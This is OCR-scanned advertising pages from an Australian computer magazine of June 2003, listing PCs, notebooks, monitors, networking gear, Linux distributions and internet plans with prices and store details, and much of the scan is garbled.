Dual Intel Xeon 2.6G(2xCPU) 

~ tel Xeon 28G (2xCPU) 


$3,266 

H196 


Dual Intel 10 
Promise Dual Channel Raid Card 
512MbDDR RAM PC2100 ECC Reg 
‘ 120GB Seagate 7200rpm 8Mb Cache 


52x24x52 CD-RW LG with Nero Software 
eto1x36QbSCSI 




256Mb DDR 20Gb HDD 64Mb ATI M9 
15-TFT 1400x1050 56k 4 Lan 
16XCDRW16XDVD Combo 4 x USB 2.0 


HitacN 19-CM721 0.20dpi 
HItacN 15-CML154SXW15-TFT 
HitacN 17-CML174SXWirTFT 
HitacN 18"CML181SXWirTFr 
BenqFP557 15“ LCD 
BenqFP767 irLCD 
BenqFP882 18“ LCD 


Mitsubishi 19-Diamond 19! 


15" Samsung 152s LCD 15" TFT 
17“ Samsung 172T LCD Monitor 
19“ Samsung 191T LCD Monitor 
Sony SDM-S51 18* LCD 
Sony SDM-S71 irLCD 
Panasonic 15“ LCD15MSIL Ultra SUm 


253Ghz 

2.87Ghz533FSB 
2.8Ghz 533FSB 
3.06Ghz 533FSB 
GA dSQeOO Ultra SIS 655+ 693 Chipset 


SATA Raid Firewire AGP x 8 USB 2.0 & U 
60GB Seagate Barracuda 5 6Mb 7200rpm 
512Mb DDR PC3200 Samsung 400MHZ 


Tl AMD Dream Pack 


Athlon XP 2200+ 

Athlon XP 2400+ 

Athlon XP 2600+ 

Athlon XP 2700+ 

ASUS A7N 8X Deluxe Raid SATA 
10/100& firewires Dolby Digitol Audio 
120GB Seagate SATA 8Mb cache 7200 
512Mb DDR PC3200 Samsung 400MHZ 


Case 3S0WUSB ini 
IM Leadtek Geforce 4 Tl 4200 VIVO DVI 
Internet KB & MS Optical Wheel Mouse 
Add Monitor from Monitor Ust 
52x24x52 CD-RW LG with Nero Software 
DVD LG with Power DVD 
Creative SBS 370 Subwoofer speaker 


TlP40nmP^ 


128M Leadtek Geforce 4 Tl 4200 VIVO DVI 
Internet KB & MS Optical Wheel Mouse 
Add Monitor from Monitor Ust 
52x24x52 CD-RW LG with Nero Software 


in 3D Sound aeOOWSut 


nStoiMrPre Server Reek 

Dual Intel Xeon 2G (2xCPU) $5,0 

tel Xeon 2.4G(2xCPU) $5.1 

tel Xeon 2.6G (2xCPU) $5.3 

tel Xeon 2.8G (2xCPU) $6.0 


Intel SE7SQ1HG2 Dual Xeon Server 


52x24x52 CD-RW LG with Nero S 


mt^smrnmGTsso 

n 4-M 2.2G(Mobite) 

Pentium 4-M 2.0G(Mobile) 

* i4-M 1.8G(Mobile) 

256Mb DDR 20Gb HDD Up to 64Mb VGA 
-Ti 16XCDRW16XDVD Combo 


< USB ZO Ports Infrared Port 2.8Kg8 WinXP Hor 


Im TI4200 DVISuperFast 


128M Tl 4800 DVI VIVO AGPx8 
128M n 4200 VIVO CM A280 
64Mb MX440 AGPxS Dual Head 


Quadro4 380XGL 64Mb DDR Ram 
Quadro4 750XGL 128Mb DDR Ram 
Qua(ko4 960XGL 64Mb ODR Ram 


m Radeon 9100 Pro 


Tl Computers 
consistently awarded 
PC User "TOPS" 



Trading Hours: Mon - Fri 9;30am - 6:00pm Sat 9:30am - 3:00pm Bank Details: Westpac 
ALL Prices Include GST. Price subject to change without notice. Please 


Bank 

call for 


032298 Account 165700 
latest pricing. 


















































MORE THAN JUST PC PERIPHERALS 


Protect your valuable CD or 
DVD collection. 

•Durable plastic outers with stitched-in zippers 
•Soft double-sided CD pockets with 
non-woven backing to prevent scratchin g 
•Light bl 


30DK Mini Digital Camera ^ Port USB 2.D Hub 


r 

ElGCtronics- 


CAMPBELLTOWN PH (02) 4 
ERINA 

NEWCASTLE 
PARRAMATTA 
PENRITH 
SILVERWATER 
ST. LEONARDS 
SYDNEY CITY 
ILIONGONG 


COBURG 

FRANKSTON 

GEELONG 

MELBOURNE 

RINGWOOD 

SPRINGVALE 



Small, simple to 
resolution it makes a great happy snaps 
camera. Includes software and connects to 
PC for download or for use as a webcam. 
Uses 1 X 'AAA' not included. 



Connect a multitude of USB devices to your 
computer all sharing the same high speed USB 
connection. Can accommodate up to 4 USB 
devices. 

•Conforms to USB 2.0 



PH (02) 9709 2822 
I PH (02) 9369 3899 
PH (02) 9905 4130 


. . 0 7ISS 

PH (02) 4365 3433 
PH (02) 4965 
PH (02) 9683 3377 
PH (02) 4721 8337 
PH (02) 9741 8557 
PH (02) 9439 4799 
PH (02) 9267 1614 

dliiliil 

PH (03) 9384 1811 
PH (03) 9781 4100 
PH (03) 5221 5800 
PH (03) 9663 2030 
PH (03) 9870 9053 

- 9547 - 


ASPLEY PH (07) 3863 0099 

BRISBANE - WOOLLOONGABBA 

PH (07) 3393 0777 
COAST - MERMAID BEACH 

PH (07) 5526 6722 



NEWMARKET - AUCKLAND 

PH (09) 377 6421 
GLENFIELD - AUCKLAND 

PH (09) 444 4628 
WELLINGTON PH (04) 801 9005 
PH (03) 379 1662 
FREECALL ORDERS PH 0800 452 9227 

Most products shown are 
also available from 


Gadget Central 


Burwood Store: Ph: (02) 9884 8822 
Chatswood store Ph: (02) 9744 6022 
I Liverpool store: Ph: (02) 9822 7822 


Freecall For Orders I 


NEW MultimeiJia Speakers 

For superior PC sound, use one of these 
multi-media units in your home or office. Each 
model includes a subwoofer and stereo 
speakers that will complement your PC 
experience. Both units have great frequency 
response (20Hz to 20KHz) and plug into 240V 
mains for easy installation. 




Rechargeable Wireless Dptical Mouse | 

Do away with those annoying mouse cablesi It uses optical 
technology to eliminate 'dirty ball' problems and a wheel for 
advanced scrolling functidns. Includes software for 
Windows95/98/IVlE/2000/XP & NT and a PS/2 adaptor for non 
USB machines. The package . 
also includes rechargeable ^ 
batteries for the mouse 
and a USB charger. 


International Telephone/Modem Adaptor 

Great for the business traveler, this 
telephone adapter kit allows you to f L 
connect your Australian modem pr i ' 

telephone equipment to sockets 
over 60 countries. 

•Japan, Prance, Greece, Italy, 

Germany South Africa and the Ul 
•Suits any standard RJ11 / RJ12 
Modular plug.•The pack includes 
7 adaptors and a handy carrybag. 


4 Port Broadband Router 


YT-6030 ^ 



4 Way Blue Colour Powerboard 

Made from a transparent blue plastic, this 
powerboard will match your modern 
equipment or give you an altogether funky look 
to your boring power cabling. 

•Max load 2400W 

•Includes safety overload with reset switch. 

•Cord length 1.2m. Measures: 255(L) x 48(W) 

X 24(H)mm 

•6 Way version available (300(L) x 48(W) x 
24(H)mm 


This broadband router incorporates both LAN and WAN support and is an 
ideal solution for connecting small networks to the Internet via high speed 
ADSL or cable modems. The router has a built-in firewall, an integrated 
DHCP server and a built-in 4 port switch.^^ 

Supports VPN tunneling and incoming^ 
port forwarding an TCP/IP, UDP, 

ICMP, ARP, RARP, PPPoE, NAT 
protocols. Includes mains power^ 
adaptor. 


Cat. 

YN-8090 


gn:! 



SENSATIONAL SCOOP PURCHASE 

Panduit CAT 5 leads priced way way below normal. Limited quantity, stock up 



Cat 5 leads will generally work fir 
chance to save. 

All leads are fully approved, and a 
packs of either 2 or 5. 

Packs cannot be mixed 


in place of Cat 5e for sf 


le standard blue cc 


iit lengths, so here is a 
. They are supplied in 


YN8180 

0.5m 

5 

$9.95 

$3.25 

YN8181 

1.0m 

5 

$11.95 

$3.95 

YN8182 

1.5m 

5 

$13.95 

$4.50 Approx 

YN8183 

2.0m 

2 

$7.50 

$5.25 

YN818A 

3.0m 

2 

$8.95 

$6.95 

YN8185 

5.0m 

2 

$12.50 

$8.95 


.1800 Qgg 888 


www.jaycar.com.au 

















































FIRST TECHNOLOGY CO. PTY LT[ 


Providing tomorrow’s 
computers today! 


"By leasing equipment 
companies can free up capital, 
spread payments over time and 
gain tax benefits while also 
keeping up with technology." 
Sydney Morning Herald 3/9/02 


jJHS: 


Fiexi rents 


Budget System^ 

• Intel* Celeron* 2000MHz 
•128MB PC2100DDR RAM 

• Onboard VGA 

• 40GB ATA100 Hard Disk 

• 1.44MB Floppy Drive 

• 17" Digital Monitor 

• 32bit Onboard Sound 

• 200Watts Speakers 

•52x CD-ROM. P4 ATX Case 

• PS/2 Keyboard & Mouse 

• 56K Internal Fax / Modem 

• MS WINDOWS XP HOME 


‘999 ^ 



Family System^ 

• Intel* Pentium*4 2.4GHz 

• 256MB PC2100 DDR RAM 

• Onboard VGA 

• 40GB 7200rpm Hard Disk 
•1.44MB Floppy Drive 

• 17" Digital Monitor 

• 32Bit Onboard Sound, P4 ATX Case 

• 48x24x48 CD-Revniter Kit 

• Internet Keyboard & MS Web Mouse 

• 56K Internal Fax / Modem 

• CANON S200SPX Printer 

• MS WINDOWS XP HOME 

• MS OFFICE XP Small Business Edition 



AMD XP System* 

•AMD* Athlon* XP-2400- 

• 256MB PC2100 DDR RAM 

• ATI 7000 64MB DDR VGA 

• 60GB 7200rpm Hard Disk 

• 1.44MB Floppy Drive 

• 19' LG SWgoOB Digital Monitor 

• 32bit Onboard Sound 

• 56x CD-Rom 

• ATX Case, 120Watt Speakers 

• PS/2 Keyboard & Mouse 

• 56K Internal Fax / Modem 

•MS WINDOWS XP PRO 

• MS OFFICE XP SBE 


Sr^PPpiNCOST 


Extreme XP PRO System* 

•Intel* Pentium* 4 3.06GHz 

• 512MB PC2700 DDR RAM 

• 128MB Geforce 4 MX440 DDR VGA 

• 80GB 7200rpm Hard Disk 

• 1.44MB Floppy Drive 

• 15' LCD Monitor with Speakers 

• 32Bit Onboard Sound 

• V770KL Siiver Biue Deiuxe P4 Case 

• 2x1x2 DVD-Rewriter Kit 

• Office Keyboard & Optical Mouse 

• 56K Internal Fax / Modem 

• MS WINDOWS XP PRO 


* 2999 incgst 



2656 ■ LPM 

. Mobile Intel P4-M 1.7GHz 
. 256MB DDR Ram 
. 20GB Hard Disk Drive 
• 24x CD-ROM (Interchangeable) 
. 14" SXGA TFT Screen 
. 56K Modem, LAN 
. MS Windows XP PRO 
. MS OFFICE XP SBE - 


*2499- 


OPENBOOK 1545 (1.8GHz) 


2722-9BM (CENTRINO) 

, Intel Pentium M 1.4GHz 
. 256MB DDR Ram 
. 40GB Hard Disk Drive 
. DVD-Rom & CD-Rewriter Combo 
• 14.1” TFT Screen 
. Modem, 802.11 b Wireless LAN 
. MS Windows XP PRO 

‘ 3499 -^- ^ 


OPENBOOK 1545 (2.0GHzi 


. Mobile Intel P4-M 1.8GHz 
. 256MB DDR Ram 

• 40GB Hard Disk Drive 

. DVD-ROM & CD-Rewriter 
Combo 

• 15" TFT Screen 



Modem, LAN, 1394, TV-Out 

MS Windows XP Home • 

^ EOpen 

• 2699 ““’ ^ 


Mobile Intel P4-M 2.0GHz 
256MB DDR Ram 
40GB Hard Disk Drive 
DVD-ROM & CD-Rewriter 
Combo 

15" TFT Screen 
Modem, LAN, 1394, TV-Out 

MS Windows XP PRO 


‘ 2999 ’ 



“'^experience /SgWiiwSom 

on your new PC Professional l_xLlV/l I IVaC 

“FTC Computers recommends Windows® XP Professional for 
business” ^_^ _ 



24HR ONLINE SHOPPING (SYSTEMS & PERIPHERALS) www.ftc.com.au 



























0 



coolcats 

$ 21.95 



coot internet... 


56k 

modem Dial Up 



Unlimited Hours • Unlimited Downloads 

Local call access throughout Australia 

* subject to terms and conditions and acceptable user policy. Payable by credit card 

$27.95 in Regional and Country areas 


eetah’ 

simply the fastest 

$ 79.95 


ADSL Broadband 


Unlimited download 


• High speed online access • Permanent connection 

• Browse Internet & talk simultaneously • All States 

• No more busy signals • Link multiple computers over the same modem 

• additional activation and modem fees apply, extra in regional areas,all subject to terms and conditions 


Ph: 1300 72 7374 



WWW n77ifiwfih net aii Coolcats & Cheetah are reoistered trademarks of Ozzieweb Rv Ltd 



magazines-books-more 


com.au 


www.magshop.com.au features these great magazines and many more: 


Subscribe to your favourite magazines, 
buy cookbooks, renew subscriptions, 
or send a gift anywhere in the world. 


Subscribing or buying online with magshop offers... 

«!> safe and secure online transactions 

easy, quick and convenient subscriptions 
<i> discounts available on many titles 
«!> cookbooks and merchandise 

free delivery for subscriptions anywhere in Australia 




magshop 


^com.au 






PC SUPERMARKET 


U For advertising details contact Jules Flakelar (02) 9288 9158 


MARKETPLACE 

Cl MPUTER PRODUCT AND 
SERVICES GUIDE 


COMPANIES 
INSIDE 


Everything linux Server 101 

Upgrade Yourself Computers Perfect Image Software 

Diskmax Daitronics 

Independant Software Duplication 




m 

* KB2 


IMKJET ^mULL §ms 

REf=ILL S. SA\/E/KT LE/\ST aa°/a OEF PRIIMTIIMG EOSTS 

. BLACK REFILL KITS FimiU0MY$g4.aa h 


We stock a large range 
specialty paper and media 
including High Resolution, 
Full Gloss, Clear Film 
and Magnetic Paper. 


Why not try New Reality's 
'Easy-to-Use' 

Inkjet Cartridges, 
iSil W available for all major 
® * ■ brands of printers. 

Enquire today! 

I 

Your printer not listed? , % 

At :: .-jiJv AUSt! Idlld S 

of print'e;^ ^ \ i 

Ca' f — « 



COLOIJR REFILL KITS FROM OIVLV $34.90 



! Colour kits include 


• & yellow inks! 


Reality 


"rsecaif 

lORDER HOTLINE 




FREE CATALOGUE KILy MiyA VVVAV ^ ^ 

Enq«iri« - (07^ ^411 withevervpurchase 

/: FREE AUSTRALIA WIDE DELIVERY! SAME DAY DISPATCH!! ^ to 

COD * MONEY ORDER * CHEQUE * MASTER * VISA * BANKCARD * AMEX ACCEPTED 


ARC JUNE 2003 
















Plain wrap Prices • Black tie Service 


All prices include GST. Pricing correct as at 16/04/03 Prices subject to change without notice. Errors & Omissions Excepted 
Advertised prices are cash only, 1% surcharge applies for credit card payment over $200 


Here is a sample of the great pricing you can get when you deal with Nutters. 


Celeron^ 1.7 System 


Intel® Celeron* 1.7GHz 

> ASUS P4S533mx, 3d Audio 

- 128B SDRAM, 

. 30GB HDD ATA 100 

- 52X CD-Rom 

> 1.44 Sony Fdd 


Samsung TFT’s 


> 151S15”TFT 
1024 x 768 @76Hz 


$499 


'171S15"TFT 
1280 X 1024 @ 75Hz 


$799 


■191N 17" TFT 
1280 X 1024 @75Hz 


$1396 


Drives 


NEC 1.8GHz M300 

• Mobile Intel® Pentium® 4 

. 14“ TFT XGA ,256mb DDR, 

• 40GB, CDRW, FDD, USB, FWire 

• 32mb Shared ATI Radeon , 3d Sound, 

• Modem & 10/100 Ian 

» XP Pro, Star Office 5.2 $2395 

Monitors 

• 17'Samtron76E $188 

• 17" Samsung 753S $220 

• ir Mitsubishi 1998E $370 

• 19” Samsung 955DF $464 

TFT & Plasma 

• 15" Mitsubishi DV159 $550 

• 15" Samsung 151S $499 

• ir Mitsubishi DV172 $795 

• 17" Samsung 171S $799 

• 19' Samsung 191T $1396 

Memory 

• 128mb SDRAM PC133 $39 

• 256MB DOR 333 $62 

• 512MB DDR 333 $120 

• 256MB RDRAM 1066MHz $240 


NEC Centring S900 

Mobile Intel®^ Centrino® 1.3GHz Processor 

• 12" TFT XGA, 256MB DDR, only 2kg 

• 40GB, CDRW/DVD, USB FDD, FireWire 

• 32MB ATI Radeon 9000 & TV out 

• Modem & 10/100 Ian 

» XP Professional $3434 


• USB Flash Drtve 128MB $105 

• USB Flash Drive 256MB $165 

Motherboards 

• ASUS P4533-MX $115 

. ASUS P4S8X-X $149 

. Intel* D845GVAD2 $153 

. Intef D850EMVRt $268 


Networking 

• Switch8port10/100 $59 

• 10/100 PCI Planet $15 

• 10/100 PCI Intel Pro 100S $58 

• Gigabit Intel* Card Copper $99 

• Gigabit Intel* Pro 1000 $258 

• Wireless 22Mb Dlink PCI $157 

• " 22Mb Dlink PCMCIA $135 

• ■ 22Mb Dlink Acc’point $272 

Misc 

• A4 PS2 wheel Mouse $5 

• Optical Mouse USB $19 

• BTC 101 Keyboard $9 

Altec Lansing 

.AVS200 2way Speakers $28 
.AVS300 3way Speakers $65 


Dual Xeon Server 


$3998 


New Hyper Threading Xeon™ Processor 


Digital Cameras 




Sony Mavica FD100 

• 1.3 Mega Rxel. Still & Motion JPG 

• Floppy & Memory S6ck Storage 

• 6 X Dig Zoom 3 X Optical 

• 2.5’ LCD Monitor 

Creative 850 
•3.0 Mega Pixel 


$699 

$249 


NEC Projector 

NEC VT460 - LCD 

• 1500 ANSI lumens SVGA (800 x 600) 

NEC LT220 - DLP 

• 2000 ANSI lumens SVGA (800 x 600) 
NEC LT240 - DLP 

• 2000 ANSI lumens XGA (1024 x 768) 
Mitsubishi SD200-DLP 

• 1800 ANSI lumens SGA (800 x 600) 


$2450 

$3990 

$4990 

$3995 


DVDRW Drives 


• DVDRWl burner Kit 

• Sony 500A IDE retail pack 

• Mitsubishi DVDRW+ 

• OEM Bundle with Software 

$695 

$495 


v: 


Nutters Wholesale www.nutters.com.au 

Dcalt'i* Inquiries Welcome sales@nutters.COm.au 


Projector Screens 


4:3 Manual 

• 4:3 Motorised 

• 16:9 Manual 

• 16:9 Motorised 


$395.00 

$1195.00 

$395.00 

$1195.00 


Ph 1300 731733 
Fax 1300731734 


APC JUNE 2003 




































































Webhostingl 

Server101.com provides quality web hosting 
and ecommerce services worldwide. ServerlOl 
is known for it’s outstanding customer service 
and affordable hosting. 

• feature packed hosting plans 

• integrated ecommerce 

• fast technical support 

• friendly customer service 

• maximum reliability 

• load-balanced servers 

• resellers/affiliates welcome 

g ServerlOl 



per month 

basic account 


\/ww.server101.com :: i n f o @ s e r v e r 1 0 ] 


Everythingliniix.com.au s 02 3752 eeee ii 02 9712 3977 


Linux Distributions 


Debian Linux 


Woody 3.0 x86 7CD set 
Woody 3.0 m68k 1 CD 
Mandrake Linux 
Mandrake 9.1 Powerpack 
Mandrake 9.1 3 CD setx86 


SuSE Linux 


$ 20.00 

$15.00 


$139.95 

$ 20.00 


Red Hat Linux 

Red Hat Personal 9 $36.95 
Red Hat Professional 9 $169.95 
Red Hat Enterprise Linux 

AS Standard Edition $2,875 
ES Standard Edition $1,531 
WS Standard Edition $572 


Tech & Reference Books 


Black Mini-ITX Workstation 



SuSE 8.2 Professional edition $167.95 
SuSE 8.2 Personal Edition $94.95 

SuSE Enterprise Server 8 $1,878 

SuSE Open-Exchange Server 4 

10 licence pack $2,481 



■6 


Java Extreme Programming Cookbook 
RRP: $79.95 Our Price ; $57.55 
Bug Patterns In J ava 
RRP : $69.95 Our Price : $50.35 


ELS1000-Fanless/diskless thinclient $445 
Based on the Via EPIA 5000 Motherboard, using 
the Mini-ITX form factor. This unit requires no 
fans, and runs off a 12v plug pack/brick. 

128M Ram, USB 1.1 

Onboard 10/100 Ethernet (PXE/Net Bootable) 
Includes printer and serial ports, 
just add monitor/keyboard/mouse 

ELS1003- ELS1000 plus 30G HDD $590 

ELS1800- 800MZ model diskless $480 
128M Ram, CPU fan (not fanless) 


Fast Australia Wide Deliver 


enquiries: sales@everythingiinux.com.au Prices subject to change without notice, e&oe. 
www.evervthinolinux.com.au for latest pricing and new products 


APC JUNE 2003 





























Powerleap CPU Convertors www.powerleap.com 

Upgrade Your Celeron or Pentium II to 1.4Ghz with Powerleap 

PL-iP3/T Slot 1 Adaptor $99 

P370/T Skt370 Adaptor $99 

With Celeron Tualatin 1.2GhzCPU $205 

With Celeron Tualatin 1.3Ghz CPU $225 

With Celeron Tualatin 1.4Ghz CPU $260 

30 Day Money Back Guarantee if Not Completely Satisfied 

Upgrade Yourself Computers OPEN 7 DAYS 

1c South Creek Road, DEE WHY 2099 ph 02 9982 9939 www.uyc.com.au 



Diskette Duplication 


CD Replication 


Consider the advantages of using one supplier for ali your software needs.... 

Fast Turnaround, Low Cost 



• Diskette Duplication • Software Packaging 
» Direct Disk Printing • Label Printing 

' Disk & CD-ROM Duplication Equipment 

• Printing of Manuals & Boxes 


% 


We can provide colour printed CD booklets, 
CD screen printing, Art preparation. Corporate 
logo CD printing and CD pressing. 

CD -ROM, CD Audio and CD-Video formats supported. 
Ask about our package deals which includes screen print 2 page full 
colour booklet and tray insert 

INDEPENDENT SOFTWARE DUPLICATION 

Unit 22/7 Packard Avenue, CASTLE HILL NSW 2154 AUSTRALIA 
Phone: (02) 9899 4044 Fax: (02) 9899 4085 Email: sales@copysoft.com.au 
Web: www.copysoft.com.au 


Router Memory 

Router memory ^ 

available for all major 
brand switch / router 
manufacturers. 


PELHAM PTY LTD 

1/100 Yarrara Rd., Pennant Hills NSW 2100 I 

(02) 9980 6988 
ram @ pelhampI.com.au 

www.pelhampLcom.au 



USB STORAGE KEYS 

256Mb USB Key 
^12Mb USB Key 

CO MPACTFLASH 
64Mb Compact Flash 
128Mb Compact Flash 
SECURE DIGITAL 

64Mb Secure Digital 
MULTIMEDIA 
64Mb Multimedia Cards 


2600 8MB Flash Simm $488 

6 in 1 USB Card 
Reader / Writer $67 


Computer Ram 


128Mb (16x64) PCI 00 
256Mb (32x64) PCI 33 
512Mb (64x64) PCI 33 
NOTEBOOK SDRAM 

64Mb (16x64) PCI 00 
128Mb (16x64) PCI 00 
256Mb (32x64) PCI 00 
DDR 

256Mb PC2100 DDR 
512Mb PC2100 DDR 
SIMMS 72 PIN 

16Mb EDO 60ns 
32Mb EDO 60ns 


$57 

$76 

$173 


$67 

17 March 2003 
Memory available for all brands. Call for latest prices 


Back-up security has just been dramatically 
downsized. Anypak Drive Is the world's smallest 
& lightest portable external disk drive, small 
enough to fit in your pocket, yet wfth complete 
20GB to 60GB back-up. Simply click, drag 

and drop all your files onto the Anypak! _ 

With easy installation on either PC or MAC ___ 

utilising either USB 1.1 /USB 2.0 speeds making SPECIFICATIONS 
it perfect for safeguarding against disastrous nick r'nnnr'itv/- 
data loss, providing additional drives for ^ 

networks, protecting against hacking while 20GB 30GB, 40GB & 60GB 
freeing up hard drive space. Interface: USB 1.1/2.0 

Size: 118x72x11 mm 
Weight: < 130 grams 


^roiectYour BusincssI 

from $450 


O Anypak drive" www.anypakdrive. 
Call: (02) 9437 4114 | ftx: (02) 9- 


APC JUNE 2003 
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Quicken® Offer 
Bonus Philips 15” flat Screen 
monitor (Valued at $615) 
with every full version of 
Quickbooks®Pro 2003. 

For details see 
www.ht.com.au/cat/auicken 

(Terms & Conditions apply) 



Harris Technology 
ACT NOW OPEN 

29 - 31 Townsville St 
FYSHWICK 


QuickBooks® Pro 2003 
professional multi user 


% Quicken 

accounting softwa"® 


professional 
multi user 


QuickBooksPro 


2003 





Includes 12 Mths Support 

51,350 


Page 58 


A member of the Coles Myer Ltd. group 


Sales 130013 9999 Website www.ht.com.au 

Fay 1300 13 6666 E-mail sales(S)ht.com.au 











HARRIS TECHNOLOGY 


Showroom and Store Locations 

valid 01/06/2003 to i- 


31/06/2003 I HQ - North Ryde 


Index 


PCs/Notebooks/Servers 
IBM Notebooks 
Toshiba Notebooks 4 
Palm Handhelds 
HP Desktops 
HP Servers 

HP Notebooks/Handhelds 

Ipex 

Sony 

Back-up & Networking 


I 


□Link 
Netcomm 
Comsol 
Belkin 
Netgear 
Storage 
APC 
Overland 
Lade 
Iomega 
Pioneer 

Maxtor 2( 

Verbatim 31 

Accessories 
Targus 
Rent 
Rentsmart 

Monitors & Multimedia 

Sony 

NEC Monitors 
Samsung Monitors 
Hitachi 

Add-on Cards 


22-23 

24-25 

26-27 

28-29 

30-31 


New Magic 
Pinnacle 

Printers & Scanners 

Samsung Printers 

Canon 38 

HP Officejets 

HP Scanjets/Photosmart 

HP Deskjets 

HP Consumables 

HP LaserJets 

Minolta QMS 

Brother Laser Printers 

Epson 

Kyocera 

Software Applications 

Adobe 

Autodesk 

Corel 

Macromedia 


I Sun 


Legrand 

Crystal 

MYOB 

Filemaker 

Symantec 

Quicken 


Computer Associates 
Microsoft Office 
Microsoft Windows 
Microsoft MAC 


Open 7am - 7pm Monday - Friday 
9am - 4pm Saturday & Sunday 

45 Epping Road, Cnr Epping & Wicks Rd 
North Ryde, NSW 2113 (Close to Microsoft) 
Sales; (02) 8879 5095 

Business Centre: (02) 8879 5130 

Reception: (02) 8879 5000 

Fax: (02) 8879 4000 


North Sydney 


Open 9am - 6pm Monday - Friday 
9am - 4pm Saturday & Sunday 

Ground floor, Bayer Building, 

275 Alfred St Nth Sydney, NSW 2060 


(02) 8923 9400 
02 8879 5140 
(02) 8923 9405 


Abbotsford-Melbourne_Kmart-Broadway-Sydney 


Open 7am - 7pm Monday - Friday 

9am - 5 pm Saturday & 10am - 5 pm Sunday 

212Hoddle St 
Abbotsford, VIC 3067 


Fax: 


Fortitude Valley-Brisbane 


Open 7am - 7pm Monday - Friday 
9am - 4 pm Saturday & Sunday 

356 St Paul’s Terrace (Cnr Brunswick 
St) Fortitude Valley OLD 4006 


Phone: 


(07) 3250 4100 


Technology Centre inside Kmart, 
near Photo Lab 

Cnr Bay & Grose St 
NSW 2007 


Phone: 


(02) 9219 7319 


Officeworks-Chadstone-Mell 


Technology Centre inside Officeworks 


699 Warrigal Rd 
ChadstoneVIC 3148 


CANBERRA - ACT NOW OPEN 


29 - 31 Townsville St I Phone: 
Fyshwick ACT 2609 I (02) 6126 3410 


Not all products are In-store, but consulting & advice available on all items 


Ordering & Delivery 



We deliver Australia Wide! 

Orders can be collected from one of our locations or delivered. Delivery times quoted by sales staff are our best estimates 
based on information received from the manufacturers. Please enquire about all freight charges, they vary for delivery 
purchased. The following estimates are offered as a guide only based on state capital metropolitan. 

under 3kg: $10 3kg - 10kg: $17 Over 10kg: SCall 


location and itc 


Contact Details & World Wide Web 


website www.ht.com.au 
Email info@ht.com.au 
Customer Service 1300 13 8888 


Ef Pricing 

I 0' Product Information 
! .S 0 Stock availability 
I 0 Your order status 
j 0 E-mail or fax for information 
: 0 Fast & Friendly Customer Service 


Pricing - All prices in this catalogue exclude delivery charges 


All items in this publication have been included in good faith on the basis that the goods, as described, will be available at the 
time of sale. A failure by supplier to deliver in accordance with sample, description or at all or other unintentional causes may 
result in some lines being unavailable. Display accessories shown in photographs throughout this publication are not included in 
the price. Whilst every care has been taken to ensure accuracy in this catalogue, we reserve the right to change incorrect prices 
resulting from a printing or typographical error. Every effort has been made to ensure that Harris Technology’s suppliers maintain 
their prices, so that Harris Technology can supply products to you at the prices advertised in this catalogue. Prices quoted are 
correct at the time of publication and are subject to change without notice due to matters such as currency fluctuations affecting 
our suppliers. Harris Technology publishes price changes both immediately on its website www.ht.com.au and by public notices 
published on the first Tuesday of each month in The Australian. GST included in all product pricing. 


You can collect Fly ^ 

Buys points when you ^ 
present your card for each ^ 
purchase at Hanis Technology!^ 
Look out for bonus offers in 
this cafafogue. Collect 1 
standard point for every $5 spent. 


Phone, Fax, Email, Web - Open 7 Days... 




































fPrices are subject to change. Check here for latest prices & product s!!) 


lEW! ThinkPad Notebooks 


NEW! ThinkPad R40 Notebooks 


The new IBM ThinkPad R40 notebooks now offer greater choice; select 
models with new Intel* Centrino™ mobile technology designed for high 
performance and long battery life. You can choose the right blend of portability, 
strength and affordability for all your mobile users and their varied needs. 


lntel*Centrino"‘Mobile Technology is designed 
to deliver on the four vectors of mobility: 
Performance Benefits, Battery Life Benefits, 
Wireless Benefits and Form Factor Benefits. 


ThinkPad R40 2722-29M 

Pentium -M 1.3Ghz Pentium -M 1, 


Sit Drive , UvU-RCiM 

Modem/Ethernet Yes 
Integrated WLAN Upgradable 
Security Chip Yes 

Op System XPPro 


ThinkPad R40 2722-29M 

Rent* $26.29/wk (H2455) 


$ 2,649 



ThinkPad R40 2722-9BM 

Rent* $32.74/wk (H2456) $ 3,299 


NEW! ThinkPad T40 Notebooks 


With new Intel* Centrino™ mobile technology on select models, the IBM ThinkPad T40 notebooks a 
new benchmark of computing performance, battery life and mobility. Work unplugged longer by combining the new 
ThinkPad T40 High Capacity Battery (standard on select models) with the new opt ional ThinkP ad Ultrabay™ Slim Li 
Polymer Battery for all-day computing (up to 8.5 hours). ^ 

You need a notebook PC that can handle your power-hungry 
applications with ease, and enable extended battery life. The 
Intel* Centrino™ mobile technology brand is your assurance 
that you’re using powerful and innovative technology 


ThinkPad T40 

2373-6BIVI 

Processor 

rnmamnsm 

RAM 

256 DDR 

Hard Drive 

■“ 30iM ■ ' 

Screen 

14.1”XGATFT 

Optical Drive 

DVD-ROM 

Modem/Ethernet 

Yes 

Integrated WLAN 

802.11b 

Od System 

XP Pro 

Warranty 3 Years 



OPTIONAL IBM ThinkPad Ultrabay Slim Li Polymer Battery 

( 10377 ) $3 39 


ThinkPad T40 2373-6BM 

Rent* $36.71/wk (I0284) 


$ 3,699 



PRICING AND SPECIFICATIONS MAY CHANGE. PLEASE REFER TO PAGE 2 FOR DETAILS.| 

Sales: 1300 13 9999 Web: www.ht.com.au 
Fax: 1300 13 6666 Email: sales@ht.com.au 

























M M I fPrices are subject to 

I UoHItSA mm 


subject to change. Check here for latest prices & products 


Satellite Power & Projectors 



ALL TOSHIBA 
NOTEBOOKS 
AND 

ACCESSORIES 
SOLD FROM 




Satellite 


The ultimate statement in mobile computing 


1 Satellite | ii30 | 24io | 2410 | 

PROCESSOR 

Cel 1.8GHz 

P4-M2GHZ 

P4-M2GHZ 

RAM STD 

256MB 

256MB 

256MB 

HARD DRIVE 

30GB 

30GB 

40GB 

SCREEN 

U.rXGATFT 

14.1” XGA TFT 

15" XGA TFT 

I MAX RESOLUTION I 

1024 X 768 

1024x 768 

1024x 768 

POINTING DEVICE 

Touch Pad 

Touch Pad 

Touch Pad 

CD-ROM/DVD 

DVD 

DVD 

DVD/CDRW 

IEEE 1394 Firewire/SD 

No 

Yes 

Yes 

VIDEO RAM 

16MB 

16MB 

16MB 

56K v.90 & 10/100 LAN 

Yes 

Yes 

Yes 

WIRELESS LAN 

Optional PC Card 

Antenna Ready 

Antenna Ready 

WARRANTY 

1 year 

1 year 

1 year 

OP SYSTEM 

1 

i 

Windows® XP Pro 

Windows* XP Pro 

Rent* 

$22.77/wk 

$27.29/wk 

$31.66/wk 

PART NUMBER 

■ (H2338) 

(H2339) 

(H2341) 


The award-winning series of 
Satellite notebook PC’s offer the 
ideal balance in affordability and 
performance. Every Satellite is 
